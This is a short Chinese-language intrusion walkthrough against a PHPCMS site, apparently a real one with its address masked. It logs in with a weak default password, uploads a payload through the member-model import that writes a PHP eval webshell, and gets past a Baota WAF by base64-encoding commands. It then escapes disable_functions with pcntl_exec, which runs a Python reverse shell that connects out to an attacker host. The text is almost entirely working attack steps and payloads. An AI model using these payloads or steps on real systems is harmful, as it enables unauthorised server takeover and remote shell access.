http://xx.xx.com/index.php?m=admin 進入后台登錄界面,弱口令phpcms/phpcms成功登錄后台
先將如下payload保存至txt文本中
array(1);$b=file_put_contents("phpcms_shell3.php",'<?php eval($_REQUEST[1]);?>');
在用戶 > 會員模型管理 > 管理會員模型 >中點擊"添加會員模型":
導入模型添加剛剛創建的txt文本
上傳后服務器會報錯,但此時已生成phpcm_shell3.php腳本
嘗試連接webshell發現連接失敗
后發現此站點存在寶塔waf
但在寫入文件時並沒有對文件內容進行,懷疑waf只對傳遞參數進行判斷
重新寫入shell,嘗試將命令采用base64編碼格式進行傳遞
成功獲得代碼執行權限
發現disable_functions禁用大部分命令執行函數
嘗試pcntl_exec突破disable_functions函數限制
將如下代碼進行base64編碼
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("x.x.x.x",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
執行代碼(雖然服務器返回404,但是命令已執行成功)
反彈shell成功
參考鏈接:https://zhuanlan.zhihu.com/p/60027711(phpcms后台幾處getshell)
https://mp.weixin.qq.com/s/xX0Y9KA_LC7dy0zxCDBMJA(waf繞過及disable_functions函數繞過)